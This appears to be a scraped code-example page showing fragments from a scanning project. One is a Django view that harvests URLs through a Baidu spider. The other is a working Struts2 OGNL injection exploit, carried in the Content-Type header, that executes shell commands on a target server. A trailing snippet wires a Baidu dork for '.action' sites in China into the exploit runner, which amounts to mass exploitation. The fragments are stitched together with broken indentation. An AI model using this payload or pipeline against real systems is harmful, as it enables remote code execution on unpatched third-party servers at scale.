예제 #1
0
def baidu_url(req):
    """
    poc执行
    :param req:
    :return:
    """
    data=json.loads(req.body)
    commond = data.get("commond").encode("utf-8")
    result = {"status":True,"msg":"成功","data":[],"id":""}
    try:
        bs = BaiduSpider(commond=commond,count=500)
        __urllist,__id__ = bs.start()
        result["data"] = __urllist
        result["id"] = __id__
    except Exception:
        result = {"status":False,"msg":"URL采集执行异常","data":traceback.format_exc()}
        print traceback.format_exc()
    return HttpResponse(json.dumps(result, ensure_ascii=False))
예제 #2
0
파일: ExecPoc.py 프로젝트: tuian/AnyScan
# -*- coding: utf-8 -*-
import urllib2
import sys,uuid
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def exploit(target):
    #print "========>"+str(target)
    register_openers()
    id = str(uuid.uuid1())
    cmd = "echo " + id
    datagen, header = multipart_encode({"image1": ''})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(target,datagen,headers=header)
    response = urllib2.urlopen(request,timeout=3)
    html = response.read()
    if id in html:
        return True,html
    else:
        return False,None

status,keyword = exploit(target)
    """
    b = BaiduSpider(commond="site:*.com.cn inurl:.action", count=100)
    r = b.start()
    res = [__r.get("url") for __r in r]
    __res = ",".join(res)
    print __res
    exe = ExecPoc(__res, payload, 10, "commond")
    exe.start()